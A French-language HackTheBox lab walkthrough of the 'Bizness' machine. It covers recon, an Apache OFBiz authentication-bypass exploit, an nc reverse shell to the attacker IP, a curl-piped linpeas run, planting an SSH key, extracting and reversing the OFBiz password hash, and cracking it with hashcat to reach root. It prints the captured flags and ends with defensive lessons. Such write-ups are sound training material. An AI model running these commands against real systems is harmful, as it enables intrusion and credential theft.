HackTheBox Walkthrough - Bizness¶
Machine ciblée : Bizness.
Répertoire : /home/kali/Bizness
Temps passé dessus : 8h
Terminé : 2692e
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.
Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Bizness"
repository="/home/kali/machines/$name"
ip="10.129.245.205"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts > /dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Du web, du Web en https et du ssh. C’est parti !
Phase 2 : Analyse¶
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ku https://$name.$domain --exclude-length 0
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://Bizness.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control (Status: 200) [Size: 34633]
A ce moment là, en ouvrant la page control, on voit que nous sommes sur un apache OFBiz. C’est plutôt raccord avec le nom de la box (merci les gars ! on aime avoir le même site http que le nom de la box d’ailleurs !). Recherche google on tombe sur une CVE assez sympa. En gros, il est possible d’éxécuter du code en mettant les bons paramètres. On est parti pour essayer !
cool mais sert à rien¶
À ce moment là, on se dit que l’application a changé quelques chemins par rapport aux POC. On va donc fouiller du côté du dossier control.
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 491 https://$name.$domain/control/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://Bizness.htb/control/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000053: 200 185 L 598 W 11060 Ch "login"
000000077: 200 140 L 496 W 9308 Ch "main"
000000061: 200 179 L 580 W 10756 Ch "help"
000000138: 200 140 L 496 W 9308 Ch "view"
J’avais extrapolé que l’application travaillée sur view et non xmlrpc car le fonctionnement avait l’air assez similaire … Bah en faite non, c’est juste des trucs en plus, il faut lancer l’exploit sur la racine du site.
Phase 3 : User¶
La particularité ici est que les shell de base (mkfifo et sh -i) ne fonctionne pas. J’ai galéré un peu à trouver le bon reverseshell.
┌──(kali㉿kali)-[~]
└─$ while $true ; do rlwrap -cAr nc -lvnp 3333 ; done
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/machines/Bizness/Apache-OFBiz-Authentication-Bypass]
└─$ python3 ./exploit.py --url https://$name.$domain --cmd 'nc 10.10.14.163 3333 -e /bin/bash'
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
cd
ls
user.txt
cat user.txt
147f1392c3b173c5f4773d63e2c26e53
Phase 4 : Élévation de privilège¶
Bon, on est d’accord, le shell est un peu déguellasse quand même. On va se donner un meilleur accès.
ls -l ~/.ssh/authorized_keys
mkdir ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILldHbzS58Jn4l08Z2NKcDSSFBBDT0LzHVU9AmZ4VOfD' > ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
ls -l ~/.ssh/authorized_keys
-rw------- 1 ofbiz ofbiz-operator 81 Jan 10 13:12 /home/ofbiz/.ssh/authorized_keys
┌──(kali㉿kali)-[~/machines/Bizness/Apache-OFBiz-Authentication-Bypass]
└─$ ssh -i ~/.ssh/id_ecdsa ofbiz@$name
Last login: Mon Jan 8 05:31:22 2024 from 10.10.14.23
ofbiz@bizness:~$
Nous y voilà. Maintenant, devenons root.
ofbiz@bizness:~$ curl http://10.10.14.163:8000/linpeas.sh|sh
╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
You can't write on systemd PATH
Ok, ce bloc semble intéressant et remonte en jaune. Dans la vrai vie, il l’est. ici pas tant que ça.
Le concept :
Je peux écrire le fichier
gradlew;Donc je peux le modifier …
Donc je peux mettre un
echo /root/root.txtou n’importe quel autre commande pour avoir une compte root à la place. Comme c’est root qui lance les services, j’ai gagné.
Le problème :
Pour que root lance le service, il faudrait qu’il y ai une raison …
Si je fais planter le service, aucun humain ne va le relancer ici.
Les reflexions annexes :
Pour que ça soit transparent, j’aurai du déplacer le fichier sous un autre nom très proche (ex : avec un espace insécable après).
La base de donnée¶
A ce moment là, j’ai regardé dans le forum. Certains donnaient comme piste la base de donnée. Essayons tout ça : Déjà, il faut savoir où elle se trouve. Recherche google, on a des pistes. Maintenant, allons voir ce qu’elle nous dit :
ofbiz@bizness:~$ cd /opt/ofbiz/framework/entity/config
ofbiz@bizness:/opt/ofbiz/framework/entity/config$ vi entityengine.xml
<delegator name="default" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" distributed-cache-clear-enabled="false">
<group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
<group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
<group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
</delegator>
<inline-jdbc
jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
jdbc-uri="jdbc:derby:ofbiz;create=true"
jdbc-username="ofbiz"
jdbc-password-lookup="derby-ofbiz"
isolation-level="ReadCommitted"
pool-minsize="2"
pool-maxsize="250"
test-on-borrow="true"
pool-jdbc-test-stmt="values 1"
soft-min-evictable-idle-time-millis="600000"
time-between-eviction-runs-millis="600000"/>
<inline-jdbc
jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
jdbc-uri="jdbc:derby:ofbizodbc;create=true"
jdbc-username="ofbiz"
jdbc-password-lookup="derby-ofbizodbc"
isolation-level="ReadCommitted"
pool-minsize="2"
pool-maxsize="250"
time-between-eviction-runs-millis="600000"/>
<inline-jdbc
jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
jdbc-uri="jdbc:derby:ofbizolap;create=true"
jdbc-username="ofbiz"
jdbc-password-lookup="derby-ofbizolap"
isolation-level="ReadCommitted"
pool-minsize="2"
pool-maxsize="250"
time-between-eviction-runs-millis="600000"/>
ofbiz@bizness:/opt/ofbiz/framework/entity/config$ find / -name derby 2>/dev/null
/home/ofbiz/.gradle/caches/modules-2/files-2.1/org.apache.derby/derby
/home/ofbiz/.gradle/caches/modules-2/metadata-2.69/descriptors/org.apache.derby/derby
/opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/framework/entity/config$ cd /opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls
derby.log ofbiz ofbizolap ofbiztenant
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ cd ofbiz
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz$ ls
dbex.lck db.lck log README_DO_NOT_TOUCH_FILES.txt seg0 service.properties tmp
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ tar -czf /tmp/ofbiz.tgz ./ofbiz
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ scp -i ~/.ssh/id_ecdsa ofbiz@Bizness:/tmp/ofbiz.tgz ./
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ tar -zxf ofbiz.tgz
Bon, j’ai la database, mais j’en fait quoi maintenant ? Comment on lit des derby ???
J’ai trouvé dbvisualizer, une application pour ouvrir différent type de base de donnée dont les derby. Une fois téléchargée, il suffit de lui préciser que notre base de donnée est une derby Embedded, lui en préciser l’emplacement et les credentials pour y avoir accès. À partir de là, on trouve notre database OFBIZ et notre table USER_LOGIN. Petit check rapide, on voit que le seul compte activé est admin et que sont mot de passe est $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I.
Différents tests¶
On a trouvé un mot de passe, on tente de le bruteforce !
┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet -a0 /usr/share/wordlists/rockyou.txt.gz ./pass
The following 3 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
18700 | Java Object hashCode() | Raw Checksum
24900 | Dahua Authentication MD5 | FTP, HTTP, SMTP, LDAP Server
24700 | Stuffit5 | Archive
┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet -a0 /usr/share/wordlists/rockyou.txt.gz ./pass -m 18700
Hashfile '/usr/share/wordlists/rockyou.txt.gz' on line 1 (123456): Token length exception
Hashfile '/usr/share/wordlists/rockyou.txt.gz' on line 2 (12345): Token length exception
Ça marche pas. Il va falloir comprendre exactement comment est chiffré ce mot de passe. J’ai commencé par des recherches sur internet pas de résultat. Bon, je suis tombé sur BreachForum (HE’S BACK !!!) ; et j’ai vu qu’un mec sortait un bout de code de son chapeau pour générer le codage. J’me dis qu’il doit être écrit quelque part sur le serveur et qu’il faut « juste chercher ».
bizness:/opt$ grep -rin '$SHA$*' ./ 2> /dev/null
ofbiz/gradle/init-gradle-wrapper.sh:102: echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
ofbiz/docker/docker-entrypoint.sh:237: SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
ofbiz/docker/docker-entrypoint.sh:238: SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
ofbiz/docker/docker-entrypoint.sh:241: ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
ofbiz/plugins/cmssite/template/docbook/xhtml-1_1/verbatim.xsl:31: <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/xhtml-1_1/verbatim.xsl:97: <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/xhtml/verbatim.xsl:31: <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/xhtml/verbatim.xsl:97: <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/html/verbatim.xsl:36: <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/html/verbatim.xsl:105: <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:72: <xsl:when test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:169: <xsl:when test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:193: <xsl:when test="$shade.verbatim != 0">
Ok donc trois endroits possible, un seul probable : le docker-entrypoint.sh. Regardons son code pour le ENCODED_PASSWORD_HASH en détail.
bizness:/opt$ cat ofbiz/docker/docker-entrypoint.sh
###############################################################################
# Create and load the password hash for the admin user.
load_admin_user() {
if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
TMPFILE=$(mktemp)
# Concatenate a random salt and the admin password.
SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"
# Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
# Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
# through the printf command. Encode the result as URL base 64 and remove padding.
SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
# Concatenate the hash type, salt and hash as the encoded password value.
ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
On comprends donc que le code se génère de cette façon :
On prends un SALT aléatoire de 16 charactères alphanumériques
On le concatène au mot de passe
on fait un
sha1sumdu concaténatOn le converti d’une façon qui nous convient puis on l’encode en base64url.
Et on formate le text pour le mettre en base.
On connait notre salt (d) ; notre algo … On est parti pour généré des hash jusqu’à ce qu’il valle notre ligne !
En utilisant l’ago pour obtenir un hash OFBIZ¶
Cette méthode consiste à regénérer l’algorithme que l’on trouvé et le faire boucler sur tout RockYou, jusqu’à ce que l’on trouve une correspondance. Comme j’ai vu le mot de passe sur d’autre write-up (ouais, j’aime pas le brute-force), j’ai validé avant que mon script était fonctionnel. Il l’est, mais il est tellement long !
N.B : Bon, il y a une astuce qui m’a pris presque plus longtemps que le chall en lui même. Si jamais tu n’enregirstre pas le fichier dans un bash (et le met en chmod 700), l’interpréteur sera zsh ou sh… Et printf ne va pas bien interpréter l’hexadécimal ! Et ça fait des chaines de mots de passe beaucoup plus grand que prévu ==> le script ne marche pas. Il faut bien enregistrer ça quelque part.
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ vi ./hasher.sh
#!/bin/bash
SALT="d"
ENCODED_PASSWORD_HASH=""
for i in `$1`; do
echo $i
SALT_AND_PASSWORD="${SALT}${i}"
SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
# Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
# through the printf command. Encode the result as URL base 64 and remove padding.
SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
# Concatenate the hash type, salt and hash as the encoded password value.
ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
if [ $ENCODED_PASSWORD_HASH == `cat ~/machines/Bizness/ofbiz/pass` ] ; then echo "password = $i ; hash = $ENCODED_PASSWORD_HASH" ; fi
done
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ chmod +x hasher.sh
┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ ./hasher.sh /usr/share/wordlists/rockyou.txt
Bon, heureusement que je connais le mot de passe quand je l’ai lancé, parce que c’est super long à bruteforce. Tellement que j’ai travaillé sur d’autre méthode, en 4 heures, toujours pas de mot de passe. Je pense que mon approche est plutôt intéressante, mais comme ils ont pris un mot de passe très loin dans RockYou, elle n’est pas adaptée malheureusement …
En reversant l’algo pour obtenir un vrai hash SHA1¶
L’autre solution consiste à reverser le hash puis à envoyer ce dernier à HashCat, qui génère plus vite que nous des hashs. Pour ça, on doit comprendre le fonctionnement de l’algorithme en détail, particulièrement ce qui suit la partie shasum. On sait déjà qu’il le converti d’une façon qui nous convient puis on l’encode en base64url. Donc on va travailler sur l’effet inverse. On va commencer par comprendre ce qu’ils veulent dire par « Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences » :
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf 'aaaaaaaa' |sed 's/\(..\)\.\?/\\x\1/g'
\xaa\xaa\xaa\xaa
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf 'aaaaaaaa' |sed 's/\(..\)\.\?/\\x\1/g')
����
Ok, donc on comprends par là que le 1er printf rajoute des \x pour que le 2nd printf interprète le charactère comme de l’hexa. On va confirmer ça en affichant un texte en hexa tout simple :
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf '48656C6C6F20576F726420210A' |sed 's/\(..\)\.\?/\\x\1/g')
Hello Word !
Ok, j’avoue, je me suis amusé, j’ai failli faire un texte plus long. En vrai, j’avais commencé par coucou, mais j’l’ai changé après pour être plus classe !
Donc cette partie permet de passer d’un texte à son équivalent en hexa. On va donc voir comment faire l’inverse, c’est à dire passer d’une chaine en hexa à son équivalent en texte. Mon objectif est donc qu’en lui mettant Hello World ! en entrée, j’obtienne ma chaine de charactère précédent (modulo le 0A qui est le retour à la ligne). Recherche internet, on retrouve comment faire avec xxd. Ce dernier a peut-être un outil pour faire le travail inverse ?
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ xxd --help
Usage:
xxd [options] [infile [outfile]]
[... Vous le ferez vous même si ça vous intéresse ...]
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ echo 'Hello Word !' | xxd -u -ps
48656C6C6F20576F726420210A
Ok, on a donc notre première partie. Maintenant, reste à voir la partie base64. Un help aussi, on voit qu’il prévoit une fonction décode. On a plus qu’à mettre tout ça en oeuvre :
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf uP0_QaVBpDWFeo8-dRzDqRwXQ2I | basenc --base64url --decode 2> /dev/null | xxd -ps)\\x0a
b8fd3f41a541a435857a8f3e751cc3a91c174362
N.B Le \\x0a n’est là que pour que ça soit plus lisible sur mon écran (un retour à la ligne).
On a notre hash. Avant de l’envoyer, il faut préciser le salt (vous vous souvenez ?) et l’écrire dans le format qui convient à hashcat. Check des format, ne vous faites pas avoir comme moi sur la façon qu”hashcat a d’écrire ses chaines.
Hash Mode |
Hash Name |
Example |
|---|---|---|
110 |
sha1($pass.$salt) |
2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 |
120 |
sha1($salt.$pass) |
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 |
Perso, j’ai passé un long momen à comprendre le format de la chaine. En 110, on fait un sha1 d’une string qui commence par le mot de passe puis le salt. En 120, on commence par le salt puis le mot de passe. On se rémémorant le script, on voit bien que notre chaîne est SALT_AND_PASSWORD="${SALT}${i}" soit le format 120. Seulement, pour l’écrire dans un format que hashcat comprends, il faut mettre $pass:$salt dans le fichier ! Vous voyez le bug de cerveau que j’ai eu ? Je trouve leur exemple difficilement compréhensible …
┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf uP0_QaVBpDWFeo8-dRzDqRwXQ2I | basenc --base64url --decode 2> /dev/null | xxd -ps):d| tee ./pass2
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet ./pass2 -a 0 /usr/share/wordlists/rockyou.txt -m 120
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
Et voilà notre code ! (Enfin !)
On le tente pour devenir root ?
ofbiz@bizness:~$ su -
Password:
root@bizness:~#
b566b11de709c8acc70ea845119dff8a
Nous y voilà !
Récapitulatif¶
On commence par l’exploitation de CVE pour obtenir notre premier accès.
Rien de bien fou, un script-kiddie le fait celle là.
On est directement utilisateur.
Après, on continue avec la recherche de fichiers comportant des informations.
Je trouve qu’il était pas mal plus dur, car on a peu de piste (pas de service SQL) qui nous aiguillerai vers ça.
J’ai rappatrier les fichiers pour ouvrir la base de donée en local, mais un
grep+stringsmarcherai également.
On récupère un mot de passe.
Il faut guess pour décoder ou trouver le
docker-entrypointpour comprendre le formating.Pour certains (au travail), ça semblait logique … Pas pour moi
Une fois le mot de passe dépilé, on le bruteforce.
Ouais, ok, c’est une utilisation plutôt intéressante de
hashcat, mais sans plus encore une fois.
Et c’est le mot de passe de root.
La fin ça fait un peu … « Tout ça pour ça ??? »
A retenir¶
L’exploit est plutôt sympa à comprendre, je vous conseille de lire le lien que j’ai mis plus haut, il est bien expliqué et vraiment complet (s’il a pas planté depuis).
Côté défense, on coche pas mal de mauvaise case dont logiciel obsolète et réemploie de mot de passe. Pour piéger ceux qui n’avaient que le mot de passe dans la base de donnée (et donc le hash), l’usage d’un poivre aurait été super intéressant ! Mais bon, on est sur une easy alorsz tranquille.
Je suis surpris toutefois par le nombre de Write-up déjà disponible 4 jours après le début de la VM. J’espère que HTB va faire quelque chose contre ça …